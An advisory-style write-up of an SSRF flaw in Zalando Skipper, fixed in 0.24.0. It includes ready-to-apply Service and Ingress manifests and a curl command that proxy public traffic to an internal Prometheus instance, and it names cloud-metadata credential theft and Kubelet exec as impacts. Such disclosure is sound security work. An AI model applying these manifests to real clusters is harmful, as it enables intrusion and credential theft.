Skipper's Slip-Up: Turning Kubernetes Ingress into an Internal Proxy
Jan 27, 2026·5 min read·5 visits
Executive Summary (TL;DR)
Zalando Skipper (versions < 0.24.0) blindly trusted Kubernetes `ExternalName` services. By creating a Service pointing to an internal DNS name (like the Kubelet or Cloud Metadata) and an Ingress referencing it, a low-privileged user could proxy public traffic directly to sensitive internal infrastructure. The fix disables `ExternalName` support by default.
A high-severity SSRF vulnerability in Zalando Skipper allows attackers with Ingress creation privileges to route external traffic to internal cluster resources via Kubernetes ExternalName services.
The Hook: The Gatekeeper That Left the Back Door Open
In the chaotic world of Kubernetes networking, the Ingress Controller is the bouncer. It stands at the edge of the cluster, checking IDs (Host headers) and deciding who gets into the club (your pods). Zalando's Skipper is a popular HTTP router and reverse proxy designed for this exact purpose. It's robust, flexible, and usually pretty good at its job.
However, in CVE-2026-24470, our bouncer got a little too helpful. It turns out that if you asked Skipper nicely—specifically, by using a Kubernetes ExternalName service—it would happily escort you past the velvet ropes and straight into the VIP room (the internal network) without checking if you were actually on the list.
This isn't just a simple bug; it's a classic Confused Deputy scenario. Skipper has high privileges (network visibility into the cluster). The developer (you, or the attacker) has low privileges. By defining a malicious configuration object, the attacker tricks Skipper into using its high privileges to access resources the attacker shouldn't be able to touch. It's like asking the valet to fetch your car, but handing them a ticket for a Ferrari that isn't yours.
The Mechanism: Weaponizing DNS Aliases
To understand the exploit, you have to understand the Kubernetes ExternalName service type. Usually, a Service maps to a set of Pod IPs (endpoints). But an ExternalName service is basically a DNS alias (a CNAME). It tells the cluster: "Hey, if anyone asks for Service A, they actually want database.external-provider.com."
Skipper supports this. When it sees an Ingress pointing to an ExternalName service, it creates a route that proxies incoming HTTP requests to that external DNS name.
The Fatal Flaw: Prior to version 0.24.0, Skipper didn't validate what that DNS name was. It assumed that if a user could create an Ingress, they were trustworthy. This is a dangerous assumption in multi-tenant clusters. An attacker could define an ExternalName pointing to 169.254.169.254 (Cloud Metadata) or kubernetes.default.svc (The API Server).
The Exploit: From Public URL to Internal API
Let's walk through the attack path. Assume we are a developer with restricted permissions in a namespace called dev-team. We cannot access the production database or the underlying node metadata. But we can create Ingress resources to expose our apps.
Step 1: The Trojan Horse First, we create a Service. But instead of pointing to our app, we point it to the cluster's internal Prometheus instance, which is usually unprotected inside the cluster network.
apiVersion: v1
kind: Service
metadata:
name: sneak-proxy
namespace: dev-team
spec:
type: ExternalName
externalName: prometheus.monitoring.svc.cluster.localStep 2: The Gateway
Next, we create an Ingress that tells Skipper: "When you see traffic for attacker.example.com, send it to sneak-proxy."
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: exploit-ingress
spec:
rules:
- host: attacker.example.com
http:
paths:
- path: /
pathType: Prefix
backend:
service:
name: sneak-proxy
port:
number: 9090Step 3: Profit
Skipper processes the Ingress configuration. It resolves sneak-proxy to prometheus.monitoring.svc.cluster.local. It updates its routing table.
The attacker simply runs:
curl http://attacker.example.com/api/v1/status/config
Skipper receives the request, sees the rule, and proxies the connection internally to Prometheus. The attacker now has full read access to the internal metrics, alerting rules, and potentially secrets stored in the config.
The Code: Before and After
The fix in version 0.24.0 is a shift to Secure by Default. Previously, the code essentially blindly trusted the service spec. The patch introduces a gatekeeper check in dataclients/kubernetes/ingressv1.go.
Here is a simplified view of the logic change:
Vulnerable Logic (Conceptual):
if svc.Spec.Type == "ExternalName" {
// Just do it. Trust the user.
return externalNameRoute(svc.Spec.ExternalName)
}Patched Logic (Commit a4c87ce):
} else if svc.Spec.Type == "ExternalName" {
// STOP! Is this feature even enabled?
if ic.enableExternalNames {
// Okay, it's enabled. Now check the allow-list (if configured)
return externalNameRoute(..., allowedExternalNames)
}
// If not enabled, return an error. Access Denied.
return nil, errNotEnabledExternalName
}The developers added a flag EnableKubernetesExternalNames which defaults to false. If you want this feature, you now have to explicitly turn it on, and ideally, configure a regex whitelist using -kubernetes-allowed-external-name.
The Impact: Why This Hurts
This is an SSRF (Server-Side Request Forgery) on steroids. Traditional SSRF usually involves tricking an application into fetching a URL. Here, we are tricking the infrastructure layer itself.
- Cloud Metadata Theft: If Skipper is running on AWS/GCP/Azure, an attacker can map
169.254.169.254to an Ingress. Visiting the public URL could dump the Node's IAM credentials, potentially leading to full cluster compromise. - Internal Service Access: Most internal services (Redis, Elasticsearch, Metrics) lack authentication because they assume the cluster network is trusted. This exploit bridges the gap between the public internet and that trusted network.
- Kubelet RCE: If the attacker can reach the Kubelet API (
10250), they might be able to invokeexeccommands on other pods, depending on the Kubelet's anonymous auth configuration.
Official Patches
Fix Analysis (1)
Technical Appendix
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:NAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
Skipper Zalando | < 0.24.0 | 0.24.0 |
| Attribute | Detail |
|---|---|
| CWE | CWE-918 (SSRF) |
| CVSS v3.1 | 8.1 (High) |
| Attack Vector | Network |
| Privileges Required | Low (Namespace Edit) |
| Impact | Confidentiality, Integrity |
| Class | Confused Deputy |
MITRE ATT&CK Mapping
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.